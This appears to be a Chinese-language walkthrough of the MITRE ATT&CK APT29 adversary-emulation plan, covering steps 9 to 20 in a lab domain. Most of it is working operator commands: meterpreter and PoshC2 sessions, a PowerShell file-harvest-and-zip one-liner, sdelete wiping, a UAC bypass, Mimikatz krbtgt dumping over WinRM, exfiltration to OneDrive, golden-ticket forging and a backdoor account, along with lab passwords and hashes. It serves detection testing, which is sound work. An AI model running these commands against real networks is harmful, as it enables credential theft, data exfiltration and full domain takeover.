                          攻击者在运行PowerShell单线命令(T1086)之前搜索其他文件(T1083,T1119),然后将其实用程序上载到第二受害者(T1105)。收集感兴趣的文件(T1005),然后加密(T1022)并压缩(T1002)为单个文件(T1074)。然后,该文件通过现有的C2连接进行窃听(T1041)。最后,攻击者删除与该访问关联的各种文件(T1107)。

                          9.A

                          进入meterpreter python会话

                          [msf] > sessions

                          [msf] >sessions -i 1

                          [meterpreter] > upload "/home/kali/payloads/day1/Seaduke/rar.exe" "C:\\Windows\\Temp\\Rar.exe"

                          [meterpreter] > upload "/home/kali/payloads/day1/SysinternalsSuite/sdelete64.exe" "C:\\Windows\\Temp\\sdelete64.exe"

                          9.B

                          [meterpreter] > execute -f powershell.exe -i -H

                          PS C:\Windows\system32> $env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*jack*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\working.zip -Force

                          PS C:\Program Files\SysinternalsSuite>cd C:\Windows\Temp

                          PS C:\Program Files\SysinternalsSuite>.\Rar.exe a -hpfGzq5yKw "$env:USERPROFILE\Desktop\working.zip" "$env:APPDATA\working.zip"

                          PS C:\Program Files\SysinternalsSuite> exit

                          [meterpreter] >download "C:\\Users\\jack\\Desktop\\working.zip" .

                          9.C

                          [meterpreter] >shell

                          [meterpreter (Shell)] > cd "C:\Windows\Temp"

                          [meterpreter (Shell)] > .\sdelete64.exe /accepteula "C:\Windows\Temp\Rar.exe"

                          [meterpreter (Shell)] > .\sdelete64.exe /accepteula "C:\Users\jack\AppData\Roaming\working.zip"

                          [meterpreter (Shell)] > .\sdelete64.exe /accepteula "C:\Users\jack\Desktop\working.zip"

                          [meterpreter (Shell)] > del "C:\Windows\Temp\sdelete64.exe"

                          终止会话

                          [meterpreter (Shell)] >exit

                          [meterpreter] >exit

                          msf> exit

                          Step 10 - 持久性执行

                          初始受害者重新启动,使用合法用户登录,此活动将触发先前建立的持久性机制,即执行新服务(T1035)和Windows启动文件夹(T1060)中的有效负载。启动文件夹中的有效负载使用被盗的令牌执行后续的有效负载(T1106,T1134)。

                          10.A

                          重启初始受害者;等待系统启动。收到具有SYSTEM权限的meterpreter会话。

                          10.B

                          通过登录初始受害者打开我的电脑,双击C盘,触发启动文件夹的持久性。

                          清理后门

                          Cmd >sc delete “javamtsup”

                          Powershell > Remove-Item -Force -Path "HKLM:\SOFTWARE\Javasoft"

                          Powershell > Remove-Item "C:\Windows\System32\hostui.exe"

                          Powershell > Remove-Item "C:\Windows\System32\hostui.bat"

                          Powershell > Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\hostui.lnk"

                          清理两台受害者系统的C:\Windows\Temp目录。

                          第2天

                          红队设置

                            #新建poshC2项目$ posh-project -n p1#修改配置$ posh-config#开启服务$ posh-server#进入交互式$ posh

                            Payload生成

                            Payload1: schemas.ps1

                            /var/poshc2/p1/payloads/payload.bat,仅将编码部分插入$enc_ps(第11行)schemas.ps1

                            Payload2: stepFifteen_wmi.ps1

                            将/var/poshc2/p1/payloads/payload.bat所有内容复制到CommandLineTemplate变量

                            Payload3:stepFourteen_bypassUAC.ps1

                            将/var/poshc2/p1/payloads/payload.bat所有内容复制放入-Value变量(第二行)

                            Payload4:blob

                            在Windows主机上生成DLL负载:

                            1.[CMD]> certutil -encode [file].dll blob

                            2.[CMD]> powershell3.[PS]> $blob = (Get-Content .\blob) -join ""; $blob > .\blob

                            4.blob在文本编辑器中打开文件

                            5.删除文件末尾的新行并复制所有内容6.将值粘贴到$bin变量(第6行)中schemas.ps1

                            Payload5:stepFourteen_credDump.ps1

                            参考下方注释。

                            Payload6:Invoke-Mimikatz-Evals.ps1

                            把第1行函数名改为Invoke-Mimikatz-Evals,第886行注释,替换成 $GetProcAddress = $UnsafeNativeMethods.GetMethod(‘GetProcAddress’, [reflection.bindingflags] “Public,Static”, $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);

                            参考:https://github.com/PowerShellMafia/PowerSploit/issues/293

                            受害者设置

                            对于最初的受害者(具有Microsoft Outlook的工作站):

                            1.启用对Microsoft Outlook的程序访问(https://www.slipstick.com/developer/change-programmatic-access-options/)2.打开Outlook并登录3.将以下文件复制到初始受害者的桌面上:

                            a) 2016_United_States_presidential_election_-_Wikipedia.html

                            b) make_lnk.ps1

                            c) schemas.ps1

                            4.复制MITRE-ATTACK-EVALS.HTML到受害者的“文档”文件夹中5.执行make_lnk.ps1(右键单击>使用PowerShell运行),将生成37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk6.拖动make_lnk.ps1和schemas.ps1到回收站,然后清空回收站

                            开始

                            Step 11 – 初始违规

                            最初的违规行为是合法用户单击(T1204)链接文件有效负载,该链接负载执行在隐藏的另一个伪文件(T1096)上执行的备用数据流(ADS),该伪文件是作为网络钓鱼活动的一部分提供的。ADS执行一系列枚举命令,以确保在通过Windows注册表运行键条目(T1060)建立持久性之前,它没有在虚拟化分析环境(T1497,T1082,T1120,T1033,T1016,T1057,T1083)中执行。嵌入式DLL有效负载,该有效负载已解码并拖放到磁盘(T1140)。然后,ADS执行PowerShell暂存器(T1086),该暂存器使用HTTPS协议(T1071,T1032)通过端口443(T1043)创建C2连接。

                            11.A

                            以apt.local\john用户身份执行37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk(双击),输出将显示在终端中。获得PoshC2会话。

                            Step 12 - 强化访问

                            攻击者修改了先前建立的持久性机制中使用的DLL有效载荷(T1099)的时间属性,以匹配在受害者的System32目录(T1083)中找到的随机文件的时间属性。然后,攻击者枚举Windows注册表(T1012)中记录的用户安装的已注册AV产品(T1063)和软件。

                            12.A

                            PS 1>loadmoduleforce /home/kali/payloads/day2/timestomp.ps1

                            PS 1>timestomp C:\Users\jack\AppData\Roaming\Microsoft\kxwn.lock

                            切换到posh-server查看日志

                            12.B

                            PS 1> loadmoduleforce /home/kali/payloads/day2/stepTwelve.ps1

                            PS 1> detectav

                            12.C

                            PS 1> software

                            Step 13 - 本地枚举

                            攻击者使用各种Windows API调用执行本地枚举,特别是收集本地计算机名(T1082),域名(T1063),当前用户上下文(T1016)和正在运行的进程(T1057)。

                            13.A

                            PS 1> loadmoduleforce /home/kali/payloads/day2/stepThirteen.ps1

                            PS 1> comp

                            13.B

                            PS 1> domain

                            13.C

                            PS 1> user

                            13.D

                            PS 1> pslist

                            Step 14 – 提权

                            攻击者通过用户帐户控制(UAC)绕过(T1122,T1088)提升特权。然后,攻击者使用新的提升的访问权限在自定义WMI类(T1047)中创建和执行代码,该类将下载(T1105)并执行Mimikatz来转储纯文本凭据(T1003),该纯文本凭据经过解析,编码和存储在WMI中 类(T1027)。在跟踪WMI执行已完成(T1057)之后,攻击者读取存储在WMI类中的纯文本凭据(T1140)。

                            14.A

                            PS 1> loadmoduleforce /home/kali/payloads/day2/stepFourteen_bypassUAC.ps1

                            PS 1> bypass

                            获得一个高权限新的会话。

                            14.B

                            Kali:

                            $ cd /home/kali/payloads/day2/$ python2 -m SimpleHTTPServer 8080

                            切换到新的高权限会话中

                            PS 2> loadmoduleforce /home/kali/payloads/day2/stepFourteen_credDump.ps1

                            PS 2> wmidump

                            切换到posh-server查看是否抓取到明文密码,如果没有参考受害者系统准备第8条。

                            Step 15 - 建立持久性

                            攻击者通过创建WMI事件订阅(T1084)以在当前用户(T1033)登录时执行PowerShell有效负载,来建立对受害者的持久访问的辅助手段。

                            15.A

                            PS 2>loadmoduleforce /home/kali/payloads/day2/stepFifteen_wmi.ps1

                            PS 2> wmi

                            注意:不要再次使用RDP登录访问,否则将触发打算用于步骤20的持久性执行。

                            Step 16 - 横向运动

                            攻击者通过Windows API(T1106)枚举环境的域控制器(T1018)和域的安全标识符(SID)(T1033)。接下来,攻击者使用以前转储的凭据(T1078)创建到域控制器的远程PowerShell会话(T1028)。通过此连接,攻击者将在步骤14中使用的Mimikatz二进制文件复制到域控制器(T1105),然后转储KRBTGT帐户的哈希(T1003)。

                            16.A

                            切换到低权限会话

                            PS 1> loadmoduleforce /home/kali/payloads/day2/powerview.ps1

                            PS 1>get-netdomaincontroller

                            16.B

                            PS 1> loadmoduleforce /home/kali/payloads/day2/stepSixteen_SID.ps1

                            PS 1>siduser

                            保存域 SID并删除 RID,Sid: S-1-5-21-374680414-1105030488-2607252970

                            16.C

                            切换到新的高权限会话中

                            PS 2>loadmoduleforce /home/kali/payloads/day2/Invoke-WinRMSession.ps1

                            PS 2> invoke-winrmsession -Username "apt.local\john" -Password "Passw0rd!" -IPAddress 10.0.0.100

                            PS 2>Invoke-Command -Session $oejtw -scriptblock {Get-Process} | out-string

                            记住session_id,注意:如果在此遇到错误,请重新启动域控制器,然后在重新执行16.C之前重新运行2个winrm安装程序命令。

                            16.D

                            PS 2> Copy-Item m.exe -Destination "C:\Windows\System32\" -ToSession $oejtw

                            PS 2> Invoke-Command -Session $oejtw -scriptblock {C:\Windows\System32\m.exe privilege::debug "lsadump::lsa /inject /name:krbtgt" exit} | out-string

                            PS 2> Get-PSSession | Remove-PSSession

                            保存NTLM hash,NTLM : 5fae7c899798b24d56c697f86e8cc7d6

                            Step 17 – 收集

                            攻击者在收集(T1005)和暂存(T1074)感兴趣的文件之前,先收集存储在本地电子邮件客户端(T1114)中的电子邮件。暂存文件将被压缩(T1002),并带有GIF文件类型的魔术字节(T1027)。

                            17.A

                            切换到低权限会话

                            PS 1> loadmoduleforce /home/kali/payloads/day2/stepSeventeen_email.ps1

                            PS 1> psemail

                            17.B

                            切换到新的高权限会话中

                            PS 2> New-Item -Path "C:\Windows\Temp\" -Name "WindowsParentalControlMigration" -ItemType "directory"

                            PS 2> Copy-Item "C:\Users\john\Documents\MITRE-ATTACK-EVALS.HTML" -Destination "C:\Windows\Temp\WindowsParentalControlMigration"

                            17.C

                            PS 2> loadmoduleforce /home/kali/payloads/day2/stepSeventeen_zip.ps1

                            PS 2> zip C:\Windows\Temp\WindowsParentalControlMigration.tmp C:\Windows\Temp\WindowsParentalControlMigration

                            Step 18 – 渗出

                            攻击者将本地驱动器映射到在线Web服务帐户(T1102),然后将先前暂存的数据提取到此存储库(T1048)。

                            18.A

                            获得OneDrive账户的CID (参考:https://www.laptopmag.com/articles/map-onedrive-network-drive)

                            PS 2> net use y: https://d.docs.live.net/E3_________C93 /user:apt.local@outlook.com "D{IFt&______-@XV"

                            PS 2> Copy-Item "C:\Windows\Temp\WindowsParentalControlMigration.tmp" -Destination "Y:\WindowsParentalControlMigration.tmp"

                            登录OneDrive查看。

                            Step 19 - 清理

                            攻击者通过在powershell.exe中反射性加载并执行Sdelete二进制文件(T1055),删除与该访问相关的各种文件(T1107)。

                            19.A

                            PS 2> loadmoduleforce /home/kali/payloads/day2/wipe.ps1

                            PS 2> wipe "C:\Windows\System32\m.exe"

                            注意:此处存在ETW的一个已知错误(Invoke-ReflectivePEInjection即时修补ETW调用的函数),因此callback可能会死机并挂起。

                            19.B

                            PS 2> wipe "C:\Windows\Temp\WindowsParentalControlMigration.tmp"

                            19.C PS 2> wipe "C:\Windows\Temp\WindowsParentalControlMigration\MITRE-ATTACK-EVALS.HTML"

                            Step 20 - 利用持久性

                            初始受害者重新启动,使用合法用户登录,此活动将触发先前建立的持久性机制,即Windows注册表运行键引用的DLL有效负载(T1085)的执行和WMI事件订阅(T1084),后者执行新的PowerShell暂存器(T1086)。攻击者使用来自先前漏洞的材料,使用新的访问权限来生成Kerberos Golden Ticket(T1097),该材料用于与新受害者建立远程PowerShell会话(T1028)。通过此连接,攻击者在域内创建一个新帐户(T1136)。

                            20.A

                            PS 2> restart-computer -force

                            使用RDP登录受害者系统,持久性机制应在登录时触发 (1 for DLL, 1 or more for WMI event subscription)

                            注意:您可能需要重复登录过程几次(关闭并重新打开RDP会话),WMI执行才能触发

                            20.B

                            切换到System权限的会话中

                            PS 3>klist purge

                            PS 3>loadmoduleforce /home/kali/payloads/day2/Invoke-Mimikatz-Evals.ps1

                            PS 3> Invoke-Mimikatz-Evals -command ""kerberos::golden /domain:apt.local /sid:S-1-5-21-374680414-1105030488-2607252970 /rc4:5fae7c899798b24d56c697f86e8cc7d6 /user:john /ptt""

                            PS 3> klist

                            PS 3> Enter-PSSession PC1

                            PS 3>Invoke-Command -ComputerName PC1 -ScriptBlock {net user /add toby "pamBeesly<3"}

                            清理后门

                            删除C:\Users\john\AppData\Roaming\Microsoft\kxwn.lock

                            使用Autoruns删除Logon中WebCache注册表

                            使用Autoruns删除WMI下的启动项

                            通过Azure Resource Manager (ARM)模板部署ATT&CK APT29评估环境

                            1.https://medium.com/threat-hunters-forge/mordor-labs-part-1-deploying-att-ck-apt29-evals-environments-via-arm-templates-to-create-1c6c4bc32c9a2.https://medium.com/threat-hunters-forge/mordor-labs-part-2-executing-att-ck-apt29-evals-emulation-plan-day1-17fae7a812293.https://medium.com/threat-hunters-forge/mordor-labs-part-3-executing-att-ck-apt29-evaluations-emulation-plan-day2-417cadc2a337

                            评估过程视频

                            Day 1 : https://youtu.be/fJAuBrzYTzI

                            Day 2 : https://youtu.be/PzYKvfwoHEY

                            参考链接

                            1.https://attackevals.mitre-engenuity.org/APT29/

                            2.https://mitre-attack.github.io/attack-navigator/enterprise/#layerURL=https%3A%2F%2Fraw.githubusercontent.com%2Fmitre-attack%2Fattack-evals%2Fmaster%2FAPT29_Round2_Navigator_layer.json

                            3.https://github.com/n1nj4sec/pupy

                            4.https://github.com/rapid7/metasploit-framework

                            5.https://github.com/nettitude/PoshC2

                            6.https://github.com/center-for-threat-informed-defense/adversary_emulation_library

                            7.https://github.com/carbonblack/tau-tools/tree/master/threat_emulation/Invoke-APT29

                            8.https://github.com/mitre-attack/attack-arsenal/tree/master/adversary_emulation/APT29

                            9.https://github.com/OTRF/detection-hackathon-apt29

                            10.https://www.carbonblack.com/blog/invoke-apt29-adversarial-threat-emulation/

                            11.https://github.com/nettitude/PoshC2/blob/master/resources/modules/Invoke-WinRMSession.ps1

                            12.https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1

                            声明:本文来自山石网科安全技术研究院,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。